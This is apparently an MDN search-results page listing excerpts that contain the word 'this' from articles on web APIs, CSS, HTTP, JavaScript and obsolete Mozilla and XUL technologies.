this[" ucl"],proto=ele[" uclp"]; v!==arglen; ++v) { val = arguments[v] + "", checkifvalidclasslistentry("add", val); for (var i=0, len=proto.length, resstr=val; i !== len; ++i) if (
this[i] === val) continue a; else resstr += " " +
this[i]; ...
...And 11 more matches
Using Fetch - Web APIs
this kind of functionality was previously achieved using xmlhttprequest.
...
this is just an http response, not the actual json.
...the following example shows one way to do
this by creating a line iterator (for simplicity, it assumes the text is utf-8, and doesn't handle fetch errors).
...And 11 more matches
HTMLButtonElement - Web APIs
only one form-associated element in a document can have
this attribute specified.
... htmlbuttonelement.form read only is a htmlformelement reflecting the form that
this button is associated with.
... if the button is a descendant of a form element, then
this attribute is the id of that form element.
...And 11 more matches
PaymentRequest.PaymentRequest() - Web APIs
each item in the array contains the following fields: supportedmethods for early implementations of the spec,
this was a sequence of identifiers for payment methods that the merchant website accepts.
... starting with more recent browsers,
this parameter is more generic than credit cards, it is a single domstring, and the meaning of the data parameter changes with the supportedmethods.
...
this has to conform to the type expected by the payment handler indicated by supportedmethods.
...And 11 more matches
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
the rtcremoteoutboundrtpstreamstats dictionary's localid property is a string which can be used to identify the rtcinboundrtpstreamstats object whose remoteid matches
this value.
... you can examine, try out, and experiment with
this example on glitch.
... example in
this example, we have a pair of functions: the first, networkteststart(), captures an initial report, and the second, networkteststop(), captures a second report, then uses the two reports to output some information about the network conditions...
...And 11 more matches
Architecture - Accessibility
one reason for
this is that there are fewer nodes to pass across process, and that improves performance.
...
this allows at's to find its position within that text, because the hyperlink interface exposes a start and end index.
...while it is odd to call non-link objects a link,
this was a necessary compromise in the newatk design because it is necessary to know where objects exist within their containing text.
...And 11 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
in
this article we will take a look at ways in which you can change the visual order of your content when using flexbox.
...
this can seem like a neat way to display things in reverse order however you should be mindful that the items are only visually displayed in reverse order.
... the specification says the following on
this matter: “note: the reordering capabilities of flex layout intentionally affect only the visual rendering, leaving speech order and navigation based on the source order.
...And 11 more matches
Consistent list indentation - CSS: Cascading Style Sheets
this often leads to frustration, because what works in one browser often doesn't have the same effect in another.
... for example, if you declare that lists have no left margin, they move over in internet explorer, but sit stubbornly in place in gecko-based browsers.
this article will help you understand the problems that can occur and how to avoid them.
... in order to understand why
this is the case, and more importantly how to avoid the problem altogether, it's necessary to examine the details of list construction.
...And 11 more matches
Using media queries - CSS: Cascading Style Sheets
note: the examples on
this page use css's @media for illustrative purposes, but the basic syntax remains the same for all types of media queries.
...for example,
this css targets printers: @media print { ...
...for instance,
this @media rule uses two media queries to target both screen and print devices: @media screen, print { ...
...And 11 more matches
Specificity - CSS: Cascading Style Sheets
the !important exception when an important rule is used on a style declaration,
this declaration overrides any other declarations.
... in
this case, you could set certain styles in your global css file as !important, thus overriding inline styles set directly on elements.
...
this works because in a specificity tie, the last rule defined wins.
...And 11 more matches
position - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this is the default value.
...
this value creates a new stacking context when the value of z-index is not auto.
...And 11 more matches
Content categories - Developer guides
this is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared behavior and their associated rules, especially when you come upon their intricate details.
... note: a more detailed discussion of these content categories and their comparative functionalities is beyond the scope of
this article; for that, you may wish to read the relevant portions of the html specification.
... elements belonging to
this category are <base>, <command>, <link>, <meta>, <noscript>, <script>, <style> and <title>.
...And 11 more matches
Writing forward-compatible websites - Developer guides
this page explains how to write websites that do not break when new browser versions are released.
...
this is especially important for intranets and other non-public websites; if we can't see your code, we can't see that it broke.
...for example, if you have
this markup: <div onclick="alert(ownerdocument)">click me</div> then clicking on the text alerts the ownerdocument of the div.
...And 11 more matches
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmeterelement attributes
this element includes the global attributes.
...
this must be between the minimum and maximum values (min attribute and max attribute) if they are specified.
...And 11 more matches
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
this element has the distinction of being the first element to become one of the "lost tags" by being eliminated from the official public dtd's of the html versions.
... html "0.a" - from the beginning through january 10, 1991
this tag had not been invented as yet, so no examples are found from
this period.
... html "0.c" - from january 23, 1991 though november 23, 1992
this early version of html introduced <nextid> in a non-sgml compliant form that simply used the numeric value alone as an "attribute." html "0.d" - from november 26, 1992 through may 24, 1993 during
this span, next and the oldest surviving dtd's show <nextid> to take only a number for a value of its newly-introduced attribute n.
...And 11 more matches
MIME types (IANA media types) - HTTP
if
this is not correctly configured, browsers are likely to misinterpret the contents of files and sites will not work correctly, and downloaded files may be mishandled.
...
this can be used, for instance, to represent an email that includes a forwarded message as part of its data, or to allow sending very large messages in chunks as if it were multiple messages.
... important mime types for web developers application/octet-stream
this is the default for binary files.
...And 11 more matches
Large-Allocation - HTTP
the large-allocation tells the browser that the web content in the to-be-loaded page is going to want to perform a large contiguous memory allocation and the browser can react to
this header by starting a dedicated process for the to-be-loaded document, for example.
...
this page was loaded in a new process due to a large-allocation header.
...
this message means that the browser saw the large-allocation header, and was able to reload the page into a new process which should have more available contiguous memory.
...And 11 more matches
An overview of HTTP - HTTP
this role is primarily performed by the web browser; other possibilities are programs used by engineers and web developers to debug their applications.
...it then parses
this file, making additional requests corresponding to execution scripts, layout information (css) to display, and sub-resources contained within the page (usually images and videos).
...
this means some parts of displayed text are links which can be activated (usually by a click of the mouse) to fetch a new web page, allowing the user to direct their user-agent and navigate through the web.
...And 11 more matches
Proxy Auto-Configuration (PAC) file - HTTP
in chrome (versions 52 to 73), you can disable
this by setting pachttpsurlstrippingenabled to false in policy or by launching with the --unsafe-pac-url command-line flag (in chrome 74, only the flag works, and from 75 onward, there is no way to disable path-stripping; as of chrome 81, path-stripping does not apply to http urls, but there is interest in changing
this behavior to match https); in firefox, the preference is network.proxy.autoconfig_u...
...
this is only for convenience; it is the same string as between :// and the first : or / after that.
... the port number is not included in
this parameter.
...And 11 more matches
Control flow and error handling - JavaScript
this chapter provides an overview of these statements.
... the javascript reference contains exhaustive details about the statements in
this chapter.
...for example: var x = 1; { var x = 2; } console.log(x); // outputs 2
this outputs 2 because the var x statement within the block is in the same scope as the var x statement before the block.
...And 11 more matches
Regular expression syntax cheatsheet - JavaScript
this page provides an overall cheat sheet of all the capabilities of regexp syntax by aggregating the content of the articles in the regexp guide.
... character classes if you are looking to contribute to
this document, please also edit the original article characters meaning .
...do not follow
this with another digit.
...And 11 more matches
Object.create() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is especially true when debugging, since common object-property converting/detecting utility functions may generate errors, or simply lose information (especially if using silent error-traps that ignore errors).
...before) ocn.tostring = object.tostring; // since new object lacks method then try assigning it directly from standard-object > ocn.tostring // shows "tostring() { [native code] }" -- missing method seems to be there now > ocn.tostring == object.tostring // shows "true" -- method seems to be same as the standard object-method > ocn.tostring() // error: function.prototype.tostring requires that '
this' be a function adding the missing object-method directly to new object's "prototype" does not work either, since the new object does not have a real prototype (which is really the cause of all these problems) and one cannot be directly added: ocn = object.create( null ); // create "null" object (same as before) ocn.prototype.tostring = object.tostring; // error: cannot set property 'tostrin...
...And 11 more matches
import - JavaScript
this is often a relative or absolute path name to the .js file containing the module.
... import an entire module's contents
this inserts mymodule into the current scope, containing all the exports from the module in the file located in /modules/my-module.js.
... import * as mymodule from '/modules/my-module.js'; here, accessing the exports means using the module name ("mymodule" in
this case) as a namespace.
...And 11 more matches
Web media technologies
this article lists the various apis with links to documentation you may find helpful in mastering them.
...
this lets you make real-time decisions about what formats to use and when.
...
this includes using local cameras and microphones to capture video, audio, and still images.
...And 11 more matches
Animation performance and frame rate - Web Performance
this operation is labeled "layout" but is also sometimes called "reflow".
...one last step is not shown in
this sequence: the page may be split into layers, which are painted independently and then combined in a process called "composition".
... an example: margin versus transform in
this section we'll see how the waterfall can highlight the difference between animating using margin and animating using transform.
...And 11 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
in
this structural overview, we'll look at the features that make up a standard web application, as well as some design patterns you can follow when building your pwa.
...
this structure is fast, and also feels fast as the user sees "something" instantly, instead of a loading spinner or a blank page.
... benefits of the app shell pattern
this architecture allows a web site to benefit the most from all the pwa features — it caches the app shell and manages the dynamic content in a way that greatly improves the performance.
...And 11 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
6 advanced example xslt
this advanced example sorts several divs based on their content.
...
this can be done via xmlhttprequest or xmldocument.load().
...the structure of an xml document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how
this data should eventually be presented.
...And 11 more matches
Storing annotations - Archive of obsolete content
warning:
this tutorial relies on the since-removed widget api and no longer works with firefox.
...in
this chapter we will cover three topics relating to persistent storage: using simple-storage to persist objects handling exhaustion of the storage quota allocated to you respecting private browsing storing new annotations in
this section we are only touching the main.js file.
...the annotation is composed of the text the user entered and the "annotation anchor", which consists of the url, element id and element content: function handlenewannotation(annotationtext, anchor) { var newannotation = new annotation(annotationtext, anchor); simplestorage.storage.annotations.push(newannotation); }
this function calls a constructor for an annotation object, which we also need to supply: function annotation(annotationtext, anchor) {
this.annotationtext = annotationtext;
this.url = anchor[0];
this.ancestorid = anchor[1];
this.anchortext = anchor[2]; } now we need to link
this code to the annotation editor, so that when the user presses the return key in the editor, we create and store th...
...And 10 more matches
Creating Reusable Modules - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm.
...
this makes the design of the add-on easier to understand and provides some encapsulation as each module will export only what it chooses to, so you can change the internals of the module without breaking its users.
... once you've done
this, you can package the modules and distribute them independently of your add-on, making them available to other add-on developers and effectively extending the sdk itself.
...And 10 more matches
Finding window handles - Archive of obsolete content
this code can be used from external application or from an xpcom component within an extension.
...nding the content window handle hwnd hcontent = 0; // first we need to find the main browser window hwnd hff = ::findwindowex(0, 0, "mozillauiwindowclass", 0); if (hff) { // next we step down through a fixed structure hwnd htemp; htemp = ::findwindowex(hff, 0, "mozillawindowclass", 0); htemp = ::findwindowex(htemp, 0, "mozillawindowclass", 0); // assume only 1 window at
this level has children // and the 1 with children is the one we want hwnd hchild = ::getwindow(htemp, gw_child); while (htemp && !hchild) { htemp = ::getwindow(htemp, gw_hwndnext); hchild = ::getwindow(htemp, gw_child); } // did we find a window with children?
... // that child is hopefully the content window if (htemp) { htemp = ::getwindow(htemp, gw_child); hcontent = ::findwindowex(htemp, 0, "mozillacontentwindowclass", 0); } } // at
this point hcontent is null or the content window hwnd i am not sure how "fragile" the assumptions are about the window structure, but it matched the values i got from spy++.
...And 10 more matches
Deploying a Plugin as an Extension - Archive of obsolete content
this feature is particularly useful for vendors who wish to deploy the plugin even if firefox is not currently installed, or who want to use the automatic extension update mechanism to update their plugin to a newer version.
...when
this method is used, you can choose to either place the plugin into the plugins directory, or, on windows, place it into your own directory and modify the windows registry to let firefox know where to find the plugin.
... the downside to
this method is that once the plugin is installed, it might be difficult for users to upgrade, uninstall, or disable the plugin.
...And 10 more matches
Inline options - Archive of obsolete content
the user interface for the preferences defined with
this new syntax appears in the extension's detail view in the add-on manager.
...
this functionality originally appeared in firefox mobile and is now available in firefox on the desktop as well.
... <setting pref="extensions.myaddon.password" type="string" title="password" inputtype="password"/> <!-- color example --> <setting pref="extensions.myaddon.color" type="color" title="color"/> <!-- file and directory examples --> <setting pref="extensions.myaddon.file" type="file" title="file"/> <setting pref="extensions.myaddon.directory" type="directory" title="directory"/> <!-- list example (
this example would be stored as an integer) --> <setting pref="extensions.myaddon.options1" type="menulist" title="options 1"> <menulist> <menupopup> <menuitem value="500" label="small"/> <menuitem value="800" label="medium"/> <menuitem value="1200" label="large"/> </menupopup> </menulist> </setting> <!-- radio button example (
this example would be stored as a boolean) -...
...And 10 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
web script example <script type="application/javascript"> <!-- function install (aevent) { for (var a = aevent.target; a.href === undefined;) a = a.parentnode; var params = { "foo": { url: aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return
this.url; } } }; installtrigger.install(params); return false; } //--> </script> <a href="http://www.example.com/foo.xpi" iconurl="http://www.example.com/foo.png" hash="sha1:28857e60d043447c5f4550853f2d40770b326a13" onclick="return install(event);">install extension!</a> let's go through
this piece by piece.
...the href attribute contains a direct link to the extension xpi file,
this is what will show in the location bar when the link is moused over.
... the install first creates a parameter block: var params = { "foo": { url: aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return
this.url; } };
this specifies the display name (foo) for use in the confirmation dialog, the url to the extension (which is the link href, recall), the icon url to display in the confirmation dialog, a hash of the xpi file contents (to protect against corrupted downloads), and a tostring function which will allow
this code to work with versions of firefox 0.8 and earlier.
...And 10 more matches
Connecting to Remote Content - Archive of obsolete content
in
this section we'll look into the xml and json communication mechanisms.
...quest = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(components.interfaces.nsixmlhttprequest); request.onload = function(aevent) { window.alert("response text: " + aevent.target.responsetext); }; request.onerror = function(aevent) { window.alert("error status: " + aevent.target.status); }; request.open("get", url, true); request.send(null); in
this example we demonstrate how to make a xmlhttprequest call in asynchronous mode.
...we create
this instance using xpcom instead of the usual way (new xmlhttprequest()) because
this way works both in chrome and non-chrome code.
...And 10 more matches
Creating reusable content with CSS and XBL - Archive of obsolete content
this page illustrates how you can use css in mozilla to improve the structure of complex applications, making code and resources more easily reusable.
... note: xbl cannot be loaded over http, so
this technique is only useful for local content accessed using the file:/// scheme, or from add-on code.
... you apply
this technique in a simple demonstration.
...And 10 more matches
Notes on HTML Reflow - Archive of obsolete content
the details on
this page are obsolete.
...in
this case, the primary frame is the frame containing the first line of text, with continuing frames (or continuations ) created for subsequent lines.
...there are exceptions to
this rule: most notably, html tables may require more than one pass.
...And 10 more matches
Introducing the Audio API extension - Archive of obsolete content
this enables users to visualize audio data, to process
this audio data and to create new audio data.
... obsolete since gecko 28 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3)
this feature is obsolete.
... deprecated since gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19)
this feature has been removed from the web standards.
...And 10 more matches
How to Write and Land Nanojit Patches - Archive of obsolete content
obsolete since gecko 11 (firefox 11 / thunderbird 11 / seamonkey 2.8)
this feature is obsolete.
...nanojit was removed during the development of (firefox 11 / thunderbird 11 / seamonkey 2.8), so
this information is relevant to earlier versions of the codebase.
...
this means that landing nanojit patches is a bit complicated, but experience has taught us that
this is much better than having separate versions of nanojit.
...And 10 more matches
Positioning - Archive of obsolete content
context menus will always appear in
this location, and not respect any position attribute value.
...
this is used when a popup is opened by a script.
... for instance: <menupopup id="edititems" position="end_before"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="clipboard" popup="edititems"/> in
this example, a menupopup is attached to a label via the popup attribute, which will cause the popup to appear when the label is left-clicked.
...And 10 more matches
Actions - Archive of obsolete content
this content will be copied for each matching result (though see below for an exception) and inserted into the document.
...http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <action> <button uri="?relateditem" label="?relateditem"/> </action> </template> </vbox> in
this example, we omit the <xul:rule> element around the <xul:action> as it is optional when we want to generate content unconditionally.
...
this action contains only one element, but you can put as many or as few elements as you need.
...And 10 more matches
Attribute Substitution - Archive of obsolete content
you can include multiple variables in one attribute if desired: <label value="my name is ?name and my age is ?age"/>
this technique will work for any variable replacement in the action body, except for the uri attribute since that wouldn't be meaningful.
... note that variable names must have a space after them as
this is how the end of variable is determined.
...
this can be done simply by putting two variables next to each other in an attribute value separated by a caret (^).
...And 10 more matches
Multiple Rule Example - Archive of obsolete content
often
this will be because a particular result has a property that others do not.
...in
this case, you might wish to display the photo with a description in a different manner.
...
this is useful if you wish to hide any content that would be needed to display the description.
...And 10 more matches
Simple Example - Archive of obsolete content
« previousnext » let's look a more useful example,
this time for a template that will show a list of photos.
... in
this situation, an rdf container will be used to hold the list of images.
...q> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg" dc:title="obelisk"/> </rdf:rdf> in
this example, we have three images, which can be identified by urls.
...And 10 more matches
Tree Widget Changes - Archive of obsolete content
this describes changes in xul trees api for gecko 1.8.
...
this object implements the nsitreecolumn interface and holds information about a single column in the tree.
...
this will be hidden if the column redordering is disabled using enablecolumndrag="false".
...And 10 more matches
Adding Event Handlers - Archive of obsolete content
we write
this using javascript functions much in the same way as html.
...in
this case, findfile.js will be used.
...for example, you may use urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/>
this tutorial does not attempt to describe how to use javascript (except as related to event handling) as
this is a fairly large topic and there are plenty of other resources that are available for
this.
...And 10 more matches
Adding Methods to XBL-defined Elements - Archive of obsolete content
for example, the following javascript function would be written as an xbl method like so: function getmaximum(num1,num2) { if (num1 <= num2) return num2; else return num1; } xbl: <method name="getmaximum"> <parameter name="num1"/> <parameter name="num2"/> <body> if (num1 <= num2) return num2; else return num1; </body> </method>
this function, getmaximum, returns the largest of the values, each passed as a parameter to the method.
...for example, the following code will probably fail: var element = document.createelement("my_element"); element.getmaximum() //
this will fail by the way, it is safe to call methods from the constructor, other methods on the object and event handlers.
...however, there is a special way of getting
this anonymous content.
...And 10 more matches
Box Objects - Archive of obsolete content
« previousnext »
this section describes the box object, which holds display and layout related information about a xul box as well as some details about xul layout.
...naturally,
this will change the appearance and function of the element.
...the following example shows
this.
...And 10 more matches
Manipulating Lists - Archive of obsolete content
here is an example: example 1 : source view <script> function additem(){ document.getelementbyid('thelist').appenditem("thursday", "thu"); } </script> <listbox id="thelist"/> <button label="add" oncommand="additem();"/> the appenditem() takes two arguments, the label, in
this case 'thursday', and a value 'thu'.
...the new item is inserted at
this index, so, in the example, the new item will be added at position 3 while the item previously at that position will now be at position 4.
...in fact, these methods are part of the nsidomxulselectcontrolelement interface so any xul elements which implement
this interface have these methods.
...And 10 more matches
datepicker - Archive of obsolete content
to avoid
this, you can use the workaround described here, i.e., use window.settimeout(actual-event-handler-function, 0); to queue up your event handler to run after the rest of the picker's change event handlers.
...if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...And 10 more matches
wizardpage - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element defines a page in a wizard.
...if
this is left out, no text appears.
... for an editable menuitem element the value of
this attribute is copied to the menulist.value property upon user selection of the menuitem.
...And 10 more matches
Sunbird Theme Tutorial - Archive of obsolete content
this tutorial is a step-by-step guide to making a theme for sunbird 0.3a1 and later versions.
...you can use
this kind of zip tool if you rename each file before and after using the tool.
...
this new directory is your theme directory.
...And 10 more matches
Using IO Timeout And Interrupt On NT - Archive of obsolete content
this technical memo is a cautionary note on using netscape portable runtime's (nspr) io timeout and interrupt on windows nt 3.51 and 4.0.
...in
this memo we explain the problem
this guideline is trying to work around and discuss its limitations.
...
this is the normal way the thread is awakened.
...And 10 more matches
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
although
this design approach was abandoned fairly quickly, the class name stuck, kind of like a barnacle.
...
this was most easily accomplished by floating the div elements themselves.
... since i wanted them to be side by side, it was important to be sure the total width of the element boxes (including margins) was less than 50%, so the first step was
this: div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} by making the content of each card 45% the width of the containing element, and adding 2% margin to both the left and right sides, each card's element box is 49% as wide as the parent.
...And 10 more matches
Bounding volume collision detection with THREE.js - Game development
this article shows how to implement collision detection between bounding boxes and spheres using the three.js library.
... it is assumed that before reading
this you have read our 3d collision detection introductory article first, and have basic knowledge about three.js.
...usually we will want
this aabb to be "linked" to an object in our 3d world (like a character.) in three.js, geometry instances have a boundingbox property with min and max boundaries for the object.
...And 10 more matches
What is accessibility? - Learn web development
overview: accessibility next
this article starts the module off with a good look at what accessibility is —
this overview includes what groups of people we need to consider and why, what tools different people use to interact with the web, and how we can make accessibility part of our web development workflow.
...we traditionally think of
this as being about people with disabilities, but the practice of making sites accessible also benefits other groups such as those using mobile devices, or those with slow network connections.
... people with hearing impairments otherwise known as people with auditory impairments or deaf people,
this group of people has either low hearing levels or no hearing at all.
...And 10 more matches
Pseudo-classes and pseudo-elements - Learn web development
if we wanted to make the first paragraph in an article larger and bold, we could add a class to that paragraph and then add css to that class, as shown in the first example below: however,
this could be annoying to maintain — what if a new paragraph got added to the top of the document?
...instead of adding the class, we could use the :first-child pseudo-class selector —
this will always target the first child element in the article, and we will no longer need to edit the html (
this may not always be possible anyway, maybe due to it being generated by a cms.) all pseudo-classes behave in
this same kind of way.
...examples include: :hover — mentioned above;
this only applies if the user moves their pointer over an element, typically a link.
...And 10 more matches
Type, class, and ID selectors - Learn web development
previous overview: building blocks next in
this lesson we will take a look at the simplest selectors that are available, which you will probably use the most in your work.
...
this means that instead of the default styling added by the browser, which spaces out headings and paragraphs with margins, everything is close together and we can't see the different paragraphs easily.
...
this kind of behavior can sometimes be seen in "reset stylesheets", which strips out all of the browser styling.
...And 10 more matches
How do I use GitHub Pages? - Learn web development
this article provides a basic guide to publishing content using github's gh-pages feature.
...
this is the underlying version control system software that github works on top of.
...to do
this: point the command line to your test-site directory (or whatever you called the directory containing your website).
...And 10 more matches
The web and web standards - Learn web development
this article provides some useful background on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
... brief history of the web we'll keep
this very brief, as there are many (more) detailed accounts of the web's history out there, which we'll link to later on (also try searching for "history of the web" in your favorite search engine and see what you get, if you are interested in more detail.) in the late 1960s, the us military developed a communication network called arpanet.
...
this can be considered a forerunner of the web, as it worked on packet switching, and featured the first implementation of the tcp/ip protocol suite.
...And 10 more matches
Test your skills: Conditionals - Learn web development
the aim of
this skill test is to assess whether you've understood our making decisions in your code — conditionals article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... conditionals 1 in
this task you are provided with two variables: season — contains a string that says what the current season is.
...And 10 more matches
What is web performance? - Learn web development
this article provides a brief introduction to objective, measureable web performance*, looking at what technologies, techniques, and tools are involved in web optimization.
...
this includes the following major areas: reducing overall load time: how long does it take the files required to render the web site to download on to the user's computer?
...
this tends to be affected by latency, how big your files are, how many files there are, and other factors besides.
...And 10 more matches
Testopia
testopia 3.0 (not yet released) if you upgraded to bugzilla 5.0, you probably noticed that testopia 2.5 is not compatible with
this version.
...
this is not an trivial task, it takes time (it started in august 2014), and we decided that it was not a good idea to release half-baked code which still needs testing to make sure we didn't regress anything.
...
this would also let us get some early feedback in case you find regressions.
...And 10 more matches
Message manager overview
this article describes the different types of message manager, how to access them, and at a high level, what sorts of things you can use them for.
...if chrome code wants to run code in the content process so it can access web content,
this is usually the sort of message manager to use.
...
this usage is deprecated because the add-on sdk uses "content script" to refer to a similar but different kind of script.
...And 10 more matches
Implementing QueryInterface
this document describes the right way to write queryinterface().
... if ( !ainstanceptr ) return ns_error_null_pointer; nsisupports* foundinterface; if ( aiid.equals(nscomtypeinfo<nsix>::getiid()) ) foundinterface = ns_static_cast(nsix*,
this); else if ( aiid.equals(nscomtypeinfo<nsiy>::getiid()) ) foundinterface = ns_static_cast(nsiy*,
this); // ...as many cases as needed...
... else if ( aiid.equals(nscomtypeinfo<nsisupports>::getiid()) ) foundinterface = ns_static_cast(nsisupports*, ns_static_cast(nsix*,
this)); // i (may) have multiple |nsisupports| in me, // so first i cast to a specific base to avoid ambiguity else foundinterface = 0; nsresult status; if ( !foundinterface ) status = ns_nointerface; else { ns_addref(foundinterface); status = ns_ok; } *ainstanceptr = foundinterface; return status; } what's so good about it?
...And 10 more matches
Downloads.jsm
when you catch an exception during a download, you can use
this to verify if ex instanceof downloads.error, before reading the exception properties with the error details.
...
this matches the serializable representation of a download object.
... some of the most common properties in
this object include: source: string containing the uri for the download source.
...And 10 more matches
SVN for Localizers
if you're already familiar with
this information, skip ahead to mozilla's svn repositories.
...
this may seem confusing, but don't fret because we'll make sure to differentiate between the two here: svn server:
this is installed on one of mozilla's servers that we use to manage our localizable web system.
... svn client:
this is what a localizer installs on their own computer.
...And 10 more matches
Mozilla Style System Documentation
this is useful for the pseudo-elements defined in the css specification (:before, :after, :first-line, :first-letter), but few of mozilla's custom pseudo-elements, many of which are hacks for further formatting objects that we create.
...
this is more than just sibling-sharing since if the parent is shared, it could be cousin-sharing.
...
this is very hard to fix because of the "sibling-sharing" optimisation.
...And 10 more matches
Power profiling overview
this article covers important background information about power profiling, with an emphasis on intel processors used in desktop and laptop machines.
...strictly speaking, such a computation gives the average power but
this is often referred to as just the power when context makes it clear.
...
this is a misleading term — the active state, c0, is also a c-state — but one that is nonetheless common.
...And 10 more matches
TimerFirings logging
this is useful because timer firings are a major cause of wakeups, which can cause high power consumption.
... note: the power profiling overview is worth reading at
this point if you haven't already.
... it may make parts of
this document easier to understand.
...And 10 more matches
Property attributes
this is the inverse of the ecma standard dontenum attribute.
...
this is the ecma standard readonly attribute.
...
this is the ecma standard dontdelete attribute.
...And 10 more matches
Embedded Dialog API
this is accomplished using a callback into the embedding application.
...
this basic api will by itself provide the minimal functionality gecko needs to create new windows, and an embedding application must implement at least
this much.
...an example of
this can be found in the mfc embedding testbed application, in the method cmfcembedapp::initializewindowcreator (lxr link accurate at revision 1.20 of that file; search for the method name in later revisions).
...And 10 more matches
mozISpellCheckingEngine
extensions/spellcheck/idl/mozispellcheckingengine.idlscriptable
this interface represents a spelling checker.
... implement
this interface to add support for a new spell checking engine.
... inherits from: nsisupports last changed in gecko 1.7
this interface represents a spell checking engine.
...And 10 more matches
nsIAccessibleEvent
this can be used to get the dom window, the dom document and the window handler, among other things.
... eventtype unsigned long the type of event, based on the enumerated event values defined in
this interface.
...server applications send
this event when a user needs to know that a user interface element has changed.
...And 10 more matches
nsIAppStartup
toolkit/components/startup/public/nsiappstartup.idlscriptable
this interface is intended to be used as application startup service.
...
this can be used, for example, when doing performance testing of the startup process to discount numbers for tests that were interrupted by a user prompt.
...
this will have no effect if the hidden window has not yet been created.
...And 10 more matches
nsIClipboard
widget/nsiclipboard.idlscriptable
this interface supports basic clipboard operations such as: setting, retrieving, emptying, matching and supporting clipboard data.
... methods emptyclipboard()
this method empties the clipboard and notifies the clipboard owner.
... void emptyclipboard( in long awhichclipboard ); parameters awhichclipboard specifies the clipboard to which
this operation applies.
...And 10 more matches
nsIContentViewer
nsiprintsettings aprintsettings); void show(); void stop(); void unload(); obsolete since gecko 1.8 attributes attribute type description container nsisupports domdocument nsidomdocument enablerendering boolean obsolete since gecko 2.0 historyentry nsishentry get the history entry that
this viewer will save itself into when destroyed.
... note: prior to gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7),
this attribute was part of nsidocumentviewer.
... note: prior to gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7),
this attribute was part of nsidocumentviewer.
...And 10 more matches
nsIDownloadManager
this interface is deprecated as of firefox 26.
... toolkit/components/downloads/public/nsidownloadmanager.idlscriptable
this interface lets applications and extensions communicate with the download manager, adding and removing files to be downloaded, fetching information about downloads, and being notified when downloads are completed.
...if
this preference is invalid, the download directory falls back to the default.
...And 10 more matches
nsIDynamicContainer
toolkit/components/places/public/nsidynamiccontainer.idlscriptable
this interface provides a base class for services that want to provide containers for temporary contents.
...method overview void oncontainermoved(in long long aitemid, in long long anewparent, in long anewindex); void oncontainernodeclosed(in nsinavhistorycontainerresultnode acontainer); void oncontainernodeopening(in nsinavhistorycontainerresultnode acontainer, in nsinavhistoryqueryoptions aoptions); void oncontainerremoving(in long long aitemid); methods oncontainermoved()
this method is called when the given container has just been moved, in case the service needs to do any bookkeeping.
... oncontainernodeclosed()
this method is called when the given container has just been collapsed so that the service can do any necessary cleanup.
...And 10 more matches
nsIGlobalHistory3
docshell/base/nsiglobalhistory3.idlscriptable
this interface provides information about global history to gecko.
... 1.0 66 introduced gecko 1.8 obsolete gecko 9.0 inherits from: nsiglobalhistory2 last changed in gecko 1.9 (firefox 3)
this interface was originally created as part of nsiglobalhistory2, but was split off during the transition to places.
...
this function is preferred if nsiglobalhistory3 is available.
...And 10 more matches
nsIMsgHeaderParser
this should be in utf-8.
...
this should be in utf-8.
...
this should be in utf-8.
...And 10 more matches
Working with Multiple Versions of Interfaces
the problem in
this short note we illustrate how one can update an xpcom module in order for it to work in both firefox 2 and firefox 3, even if the interfaces have changed in the interim.
... in the extension that prompted
this note, i needed to obtain the hwnd of the document (yes its on windows) in order to identify each particular extension instance.
... to do
this i used the accessibility framework: hwnd gethwnd(nsidomnode *node){ hwnd self = null; nsresult rv; nscomptr<nsiaccessibleretrieval> refp; refp = do_createinstance( "@mozilla.org/accessibleretrieval;1", &rv); if (ns_failed(rv)){ return self; } //line 6.
...And 10 more matches
Autoconfiguration in Thunderbird
author: ben bucksch please do not change
this document without consulting the author thunderbird 3.1 and later (and 3.0 to some degree) includes mail account autoconfiguration functionality.
... the configuration file description and definition the original project page on the mozilla wiki for background, design, implementation and project details
this document describes how autoconfiguration in thunderbird works, and what to do to allow mail servers to be autoconfigured.
...
this allows to autoconfigure almost 50% of our user's email accounts.
...And 10 more matches
Cached compose window FAQ
warning: the content of
this article may be out of date.
... the upside is that is has been a major performance win why did you do
this?
... if the user has
this usage pattern, we wouldn't have to create a new window.
